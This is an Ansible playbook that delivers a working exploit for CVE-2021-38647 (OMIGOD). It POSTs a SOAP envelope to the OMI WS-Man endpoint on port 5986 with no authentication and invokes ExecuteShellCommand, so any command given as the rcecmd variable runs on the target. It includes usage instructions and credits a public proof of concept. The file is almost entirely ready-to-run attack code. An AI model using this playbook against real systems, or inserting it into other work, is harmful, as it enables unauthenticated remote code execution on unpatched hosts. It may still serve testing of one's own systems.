attack-play.yml

---

#
# Using this ansible playbook:
#
# $ ansible-playbook attack-play.yml -e "rcecmd=uptime"
#

- name: "post CVE-2021-38647 payload to host"
  hosts: localhost
  connection: local
  gather_facts: false
  vars:
    payload_host: "127.0.0.1"
    payload_port: "5986"
    # default command:
    rcecmd: "id"

  tasks:

    - name: "target for payload:"
      debug:
        msg: "https://{{ payload_host }}:{{ payload_port }}/wsman"

    - name: "Sending payload."
      uri:
        url: "https://{{ payload_host }}:{{ payload_port }}/wsman"
        method: POST
        headers:
          Content-Type: "application/soap+xml;charset=UTF-8"
        # credit to https://github.com/midoxnet/CVE-2021-38647 for this payload
        body:
          <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
            <s:Header>
                <a:To>HTTP://10.0.2.15:5986/wsman/</a:To>
                <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
                <a:ReplyTo>
                  <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
                </a:ReplyTo>
                <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
                <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
                <a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
                <w:OperationTimeout>PT1M30S</w:OperationTimeout>
                <w:Locale xml:lang="en-us" s:mustUnderstand="false" />
                <p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
                <w:OptionSet s:mustUnderstand="true" />
                <w:SelectorSet>
                  <w:Selector Name="__cimnamespace">root/scx</w:Selector>
                </w:SelectorSet>
            </s:Header>
            <s:Body>
                <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
                  <p:command>{{ rcecmd }}</p:command>
                  <p:timeout>0</p:timeout>
                </p:ExecuteShellCommand_INPUT>
            </s:Body>
          </s:Envelope>
        validate_certs: no
        follow_redirects: all
        return_content: yes
      register: xmlresponse

    - name: response
      debug:
        msg: '{{ xmlresponse }}'

    - name: "message"
      debug:
        msg: "Playbook finished."